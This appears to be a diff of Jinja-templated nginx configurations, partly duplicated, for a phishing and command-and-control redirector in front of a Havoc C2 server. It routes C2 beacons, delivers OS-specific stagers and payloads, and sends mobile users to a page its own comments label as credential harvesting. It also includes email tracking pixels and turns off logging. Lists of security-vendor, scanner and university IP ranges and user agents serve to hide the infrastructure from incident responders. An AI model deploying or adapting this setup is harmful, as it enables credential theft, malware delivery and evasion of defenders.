"13.104.0.0/14" 1; # Microsoft
"40.74.0.0/15" 1; # Microsoft
"51.4.0.0/15" 1; # Microsoft
"104.40.0.0/13" 1; # Microsoft
"104.208.0.0/13" 1; # Azure
# Palo Alto
"96.88.0.0/16" 1;
"173.247.96.0/19" 1;
"216.115.73.0/24" 1;
# Qualys
"64.39.96.0/20" 1;
"64.41.200.0/24" 1;
"92.118.160.0/24" 1;
# Rapid7
"5.63.0.0/16" 1;
"38.107.201.0/24" 1;
"45.60.0.0/16" 1;
"71.6.0.0/16" 1;
"206.225.0.0/16" 1;
# Tenable/Nessus
"23.20.0.0/14" 1; # AWS (Tenable Cloud)
"34.192.0.0/12" 1; # AWS
"54.144.0.0/12" 1; # AWS
"162.219.56.0/21" 1;
"172.104.0.0/16" 1; # Linode (common Nessus hosting)
# FireEye/Mandiant
"23.98.64.0/18" 1;
"66.114.168.0/22" 1;
"96.43.144.0/20" 1;
"173.231.184.0/22" 1;
# Akamai
"23.0.0.0/12" 1;
"23.32.0.0/11" 1;
"104.64.0.0/10" 1;
# Cloudflare
"104.16.0.0/12" 1;
"173.245.48.0/20" 1;
# Academic Research Networks
"128.32.0.0/16" 1; # UC Berkeley
"128.59.0.0/16" 1; # Columbia University
"128.112.0.0/16" 1; # Princeton University
"128.138.0.0/16" 1; # University of Colorado
"128.197.0.0/16" 1; # Boston University
"146.186.0.0/16" 1; # Carnegie Mellon
}
# HTTP to HTTPS redirect
server {
listen 80;
listen [::]:80;
server_name {{ redirector_subdomain }}.{{ domain }};
# Redirect to HTTPS
return 301 https://$host$request_uri;
}
# Main HTTPS server
server {
listen 443 ssl;
listen [::]:443 ssl;
server_name {{ redirector_subdomain }}.{{ domain }};
# SSL Configuration
ssl_certificate /etc/letsencrypt/live/{{ redirector_subdomain }}.{{ domain }}/fullchain.pem;
ssl_certificate_key /etc/letsencrypt/live/{{ redirector_subdomain }}.{{ domain }}/privkey.pem;
ssl_protocols TLSv1.2 TLSv1.3;
ssl_prefer_server_ciphers on;
ssl_ciphers 'ECDHE-ECDSA-AES256-GCM-SHA384:ECDHE-RSA-AES256-GCM-SHA384:ECDHE-ECDSA-CHACHA20-POLY1305:ECDHE-RSA-CHACHA20-POLY1305';
ssl_session_timeout 1d;
ssl_session_cache shared:SSL:10m;
# Root directory
root /var/www/html;
index index.html;
# Advanced IR Evasion - IMPORTANT: Order matters!
# 1. Direct mobile users to credential capture - placed first to ensure it takes priority
if ($is_mobile = 1) {
return 302 https://$host/login/auth.html;
}
# 2. Redirect security tools to benign sites
if ($is_security_tool) {
return 302 https://www.google.com;
}
# 3. Redirect known security IPs
if ($is_known_security_ip) {
return 302 https://www.microsoft.com;
}
# 4. Add timing delay for suspicious connections
if ($http_referer ~* (security|scan)) {
set $delay_response 1;
}
# Valid C2 beacon routing - CRITICAL PATHS
location ~ ^/api/beacon/ {
# Only valid beacons proceed to C2
proxy_pass https://{{ c2_ip }}:{{ havoc_https_port | default(443) }};
proxy_http_version 1.1;
proxy_set_header Host $host;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_set_header X-Real-IP $remote_addr;
proxy_ssl_verify off;
# Implement artificial delay for suspicious connections
if ($delay_response) {
limit_rate 1k; # Slow down response
}
}
# Secure stager delivery routes
location ~ ^/(windows|linux)_stager\.(ps1|sh)$ {
# Only valid requests that passed the earlier checks
proxy_pass http://{{ c2_ip }}:8443/$1_stager.$2;
proxy_http_version 1.1;
proxy_set_header Host $host;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_set_header X-Real-IP $remote_addr;
}
# Content access for payload delivery
location ~ ^/content/(windows|linux)/(.+)$ {
# Specific valid content paths
proxy_pass http://{{ c2_ip }}:8443/content/$1/$2;
proxy_http_version 1.1;
proxy_set_header Host $host;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_set_header X-Real-IP $remote_addr;
}
# Redirect specific payload formats based on client OS
location ~ ^/download/payload$ {
if ($http_user_agent ~* windows) {
return 302 /content/windows/$win_exe;
}
if ($http_user_agent ~* linux) {
return 302 /content/linux/$linux_bin;
}
# Default fallback for unknown OS
return 302 /;
}
# Secure payload delivery path for synced payloads
location /resources/ {
alias /var/www/resources/;
limit_except GET { deny all; }
add_header X-Content-Type-Options "nosniff" always;
add_header Content-Security-Policy "default-src 'none'" always;
add_header X-Frame-Options "DENY" always;
add_header Server "Microsoft-IIS/10.0" always;
autoindex off;
access_log off;
}
# Credential harvesting login page
location ~ ^/login/auth\.html$ {
root /var/www;
try_files $uri =404;
add_header X-Frame-Options "DENY" always;
}
# Protect credential processing script
location ~ ^/login/process\.php$ {
# Allow POST only
limit_except POST { deny all; }
# Process the PHP file
root /var/www;
include snippets/fastcgi-php.conf;
fastcgi_pass unix:/var/run/php/php7.4-fpm.sock;
}
# Block direct access to sensitive files
location ~ \.(enc|key|pem|log)$ {
deny all;
return 404;
}
{% if setup_integrated_tracker | default(false) | bool %}
# Email tracker pixel only (not exposing dashboard)
location ~ ^/px/(.+)\.png$ {
proxy_pass http://{{ c2_ip }}:5000/pixel/$1.png;
proxy_http_version 1.1;
proxy_set_header Host {{ tracker_domain }};
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-Proto https;
# Cache control for tracking pixels
add_header Cache-Control "no-store, no-cache, must-revalidate" always;
expires -1;
}
{% endif %}
# Primary location for legitimate website traffic
# This acts as a catch-all for non-matching URIs
location / {
# Check if this is potentially an attempt to access a non-existent payload
if ($request_uri ~* \.(exe|dll|ps1|sh|py|vbs|hta)$) {
# If invalid payload URI, redirect to real target
return 302 https://www.{{ domain }};
}
# Otherwise serve legitimate content
try_files $uri $uri/ =404;
}
# Security headers
add_header X-Content-Type-Options "nosniff" always;
add_header X-Frame-Options "SAMEORIGIN" always;
add_header X-XSS-Protection "1; mode=block" always;
add_header Referrer-Policy "no-referrer" always;
add_header Content-Security-Policy "default-src 'self'; script-src 'self' 'unsafe-inline'; style-src 'self' 'unsafe-inline'; img-src 'self' data:;" always;
# Make server appear as IIS
add_header Server "Microsoft-IIS/10.0";
# Disable logging
{% if zero_logs | default(true) | bool %}
access_log off;
error_log /dev/null crit;
{% endif %}
}
# Catch-all server block
server {
listen 80 default_server;
listen [::]:80 default_server;
listen 443 ssl default_server;
listen [::]:443 ssl default_server;
ssl_certificate /etc/ssl/certs/ssl-cert-snakeoil.pem;
ssl_certificate_key /etc/ssl/private/ssl-cert-snakeoil.key;
# Redirect unknown hosts to legitimate sites
return 301 https://www.google.com;
access_log off;
error_log /dev/null crit;
}
@@ -0,0 +1,298 @@
# Advanced Redirector Configuration with IR Evasion
# templates/redirector-site.conf.j2
# Detect security tools by user agent
map $http_user_agent $is_security_tool {
default 0;
# Common security tools, scanners, and IR user agents
~*(security|incident|response|virus|malware|cuckoo|wireshark|burp|nessus|qualys|openvas|nmap|tenable|rapid7|metasploit|paros|zap|nikto|scylla|splunk|elastic|defender|crowdstrike|sentinel|cylance|carbon\sblack|fireeye|mandiant|symantec|mcafee|sophos|kaspersky|analyst|forensic|edr|xdr|siem) 1;
}
# Improved mobile detection regex
map $http_user_agent $is_mobile {
default 0;
~*(android|iphone|ipad|ipod|blackberry|kindle|silk|opera\smini|opera\smobi|windows\sphone|iemobile|mobile|phone|tablet|symbian|series60|midp|up\.browser|ucbrowser|nokia|samsung|motorola|sprint|docomo|mobile\ssafari) 1;
}
map $remote_addr $is_known_security_ip {
default 0;
# VirusTotal
"64.71.0.0/16" 1;
"74.125.0.0/16" 1; # Google Cloud (VirusTotal)
"216.239.32.0/19" 1; # Google
# Recorded Future & SentinelOne (merged - both use Google Cloud)
"104.196.0.0/14" 1; # Google Cloud
"35.184.0.0/13" 1; # Google Cloud
# Censys
"198.108.66.0/23" 1;
"162.142.125.0/24" 1;
"167.248.133.0/24" 1;
# Shodan
"66.240.192.0/18" 1;
"71.6.135.0/24" 1;
"71.6.167.0/24" 1;
"82.221.105.6/32" 1;
"82.221.105.7/32" 1;
"93.120.27.0/24" 1;
# Symantec/Broadcom
"205.128.0.0/14" 1;
"65.165.0.0/16" 1;
# McAfee/Trellix
"161.69.0.0/16" 1;
"192.225.158.0/24" 1;
# CrowdStrike
"45.60.0.0/16" 1;
"199.66.200.0/24" 1;
# SentinelOne
"104.36.227.0/24" 1;
# "104.196.0.0/14" 1; # Removed duplicate - already defined for Recorded Future
# Microsoft Defender
"13.64.0.0/11" 1; # Azure (Microsoft Defender)
"13.104.0.0/14" 1; # Microsoft
"40.74.0.0/15" 1; # Microsoft
"51.4.0.0/15" 1; # Microsoft
"104.40.0.0/13" 1; # Microsoft
"104.208.0.0/13" 1; # Azure
# Palo Alto
"96.88.0.0/16" 1;
"173.247.96.0/19" 1;
"216.115.73.0/24" 1;
# Qualys
"64.39.96.0/20" 1;
"64.41.200.0/24" 1;
"92.118.160.0/24" 1;
# Rapid7
"5.63.0.0/16" 1;
"38.107.201.0/24" 1;
# "45.60.0.0/16" 1; # Removed duplicate - already defined for CrowdStrike
"71.6.0.0/16" 1; # Note: This may overlap with Shodan ranges
"206.225.0.0/16" 1;
# Tenable/Nessus
"23.20.0.0/14" 1; # AWS (Tenable Cloud)
"34.192.0.0/12" 1; # AWS
"54.144.0.0/12" 1; # AWS
"162.219.56.0/21" 1;
"172.104.0.0/16" 1; # Linode (common Nessus hosting)
# FireEye/Mandiant
"23.98.64.0/18" 1;
"66.114.168.0/22" 1;
"96.43.144.0/20" 1;
"173.231.184.0/22" 1;
# Akamai
"23.0.0.0/12" 1;
"23.32.0.0/11" 1;
"104.64.0.0/10" 1;
# Cloudflare
"104.16.0.0/12" 1;
"173.245.48.0/20" 1;
# Academic Research Networks
"128.32.0.0/16" 1; # UC Berkeley
"128.59.0.0/16" 1; # Columbia University
"128.112.0.0/16" 1; # Princeton University
"128.138.0.0/16" 1; # University of Colorado
"128.197.0.0/16" 1; # Boston University
"146.186.0.0/16" 1; # Carnegie Mellon
}
# HTTP to HTTPS redirect
server {
listen 80;
listen [::]:80;
server_name {{ redirector_subdomain }}.{{ domain }};
# Redirect to HTTPS
return 301 https://$host$request_uri;
}
# Main HTTPS server
server {
listen 443 ssl;
listen [::]:443 ssl;
server_name {{ redirector_subdomain }}.{{ domain }};
# SSL Configuration
ssl_certificate /etc/letsencrypt/live/{{ redirector_subdomain }}.{{ domain }}/fullchain.pem;
ssl_certificate_key /etc/letsencrypt/live/{{ redirector_subdomain }}.{{ domain }}/privkey.pem;
ssl_protocols TLSv1.2 TLSv1.3;
ssl_prefer_server_ciphers on;
ssl_ciphers 'ECDHE-ECDSA-AES256-GCM-SHA384:ECDHE-RSA-AES256-GCM-SHA384:ECDHE-ECDSA-CHACHA20-POLY1305:ECDHE-RSA-CHACHA20-POLY1305';
ssl_session_timeout 1d;
ssl_session_cache shared:SSL:10m;
# Root directory
root /var/www/html;
index index.html;
# Advanced IR Evasion - IMPORTANT: Order matters!
# 1. Direct mobile users to credential capture - placed first to ensure it takes priority
if ($is_mobile = 1) {
return 302 https://$host/login/auth.html;
}
# 2. Redirect security tools to benign sites
if ($is_security_tool) {
return 302 https://www.google.com;
}
# 3. Redirect known security IPs
if ($is_known_security_ip) {
return 302 https://www.microsoft.com;
}
# 4. Add timing delay for suspicious connections
if ($http_referer ~* (security|scan)) {
set $delay_response 1;
}
# Valid C2 beacon routing - CRITICAL PATHS
location ~ ^/api/beacon/ {
# Only valid beacons proceed to C2
proxy_pass https://{{ c2_ip }}:{{ havoc_https_port | default(9443) }};
proxy_http_version 1.1;
proxy_set_header Host $host;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_set_header X-Real-IP $remote_addr;
proxy_ssl_verify off;
# Implement artificial delay for suspicious connections
if ($delay_response) {
limit_rate 1k; # Slow down response
}
}
# Secure stager delivery routes
location ~ ^/(windows|linux)_stager\.(ps1|sh)$ {
# Only valid requests that passed the earlier checks
proxy_pass http://{{ c2_ip }}:8443/$1_stager.$2;
proxy_http_version 1.1;
proxy_set_header Host $host;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_set_header X-Real-IP $remote_addr;
}
# Content access for payload delivery
location ~ ^/content/(windows|linux)/(.+)$ {
# Specific valid content paths
proxy_pass http://{{ c2_ip }}:8443/content/$1/$2;
proxy_http_version 1.1;
proxy_set_header Host $host;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_set_header X-Real-IP $remote_addr;
}
# Secure payload delivery path for synced payloads
location /resources/ {
alias /var/www/resources/;
limit_except GET { deny all; }
add_header X-Content-Type-Options "nosniff" always;
add_header Content-Security-Policy "default-src 'none'" always;
add_header X-Frame-Options "DENY" always;
add_header Server "Microsoft-IIS/10.0" always;
autoindex off;
access_log off;
}
# Credential harvesting login page
location ~ ^/login/auth\.html$ {
root /var/www;
try_files $uri =404;
add_header X-Frame-Options "DENY" always;
}
# Protect credential processing script
location ~ ^/login/process\.php$ {
# Allow POST only
limit_except POST { deny all; }
# Process the PHP file
root /var/www;
include snippets/fastcgi-php.conf;
fastcgi_pass unix:/var/run/php/php7.4-fpm.sock;
}
# Block direct access to sensitive files
location ~ \.(enc|key|pem|log)$ {
deny all;
return 404;
}
{% if setup_integrated_tracker | default(false) | bool %}
# Email tracker pixel only (not exposing dashboard)
location ~ ^/px/(.+)\.png$ {
proxy_pass http://{{ c2_ip }}:5000/pixel/$1.png;
proxy_http_version 1.1;
proxy_set_header Host {{ tracker_domain }};
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-Proto https;
# Cache control for tracking pixels
add_header Cache-Control "no-store, no-cache, must-revalidate" always;
expires -1;
}
{% endif %}
# Primary location for legitimate website traffic
# This acts as a catch-all for non-matching URIs
location / {
# Check if this is potentially an attempt to access a non-existent payload
if ($request_uri ~* \.(exe|dll|ps1|sh|py|vbs|hta)$) {
# If invalid payload URI, redirect to real target
return 302 https://www.{{ domain }};
}
# Otherwise serve legitimate content
try_files $uri $uri/ =404;
}
# Security headers
add_header X-Content-Type-Options "nosniff" always;
add_header X-Frame-Options "SAMEORIGIN" always;
add_header X-XSS-Protection "1; mode=block" always;
add_header Referrer-Policy "no-referrer" always;
add_header Content-Security-Policy "default-src 'self'; script-src 'self' 'unsafe-inline'; style-src 'self' 'unsafe-inline'; img-src 'self' data:;" always;
# Make server appear as IIS
add_header Server "Microsoft-IIS/10.0";
# Disable logging
{% if zero_logs | default(true) | bool %}
access_log off;
error_log /dev/null crit;
{% endif %}
}
# Catch-all server block
server {
listen 80 default_server;
listen [::]:80 default_server;
listen 443 ssl default_server;
listen [::]:443 ssl default_server;
ssl_certificate /etc/nginx/conf.d/selfsigned.crt;
ssl_certificate_key /etc/nginx/conf.d/selfsigned.key;
# Redirect unknown hosts to legitimate sites
return 301 https://www.google.com;
access_log off;
error_log /dev/null crit;
}
@@ -0,0 +1,22 @@
# TCP stream configuration for Havoc C2
stream {
# TCP forwarding for Havoc Teamserver
server {
listen {{ havoc_teamserver_port | default(40056) }};
proxy_pass {{ c2_ip }}:{{ havoc_teamserver_port | default(40056) }};
}
# Additional Havoc ports
server {
listen {{ havoc_http_port | default(8080) }};
proxy_pass {{ c2_ip }}:{{ havoc_http_port | default(8080) }};
}
# HTTPS for Havoc - Using a different port to avoid conflicts with web server
server {
# Changed from default 443 to 9443 to avoid conflict with Nginx HTTPS
listen {{ havoc_https_port | default(9443) }};
# Still proxy to the C2's HTTPS port
proxy_pass {{ c2_ip }}:{{ havoc_https_port | default(443) }};
}
}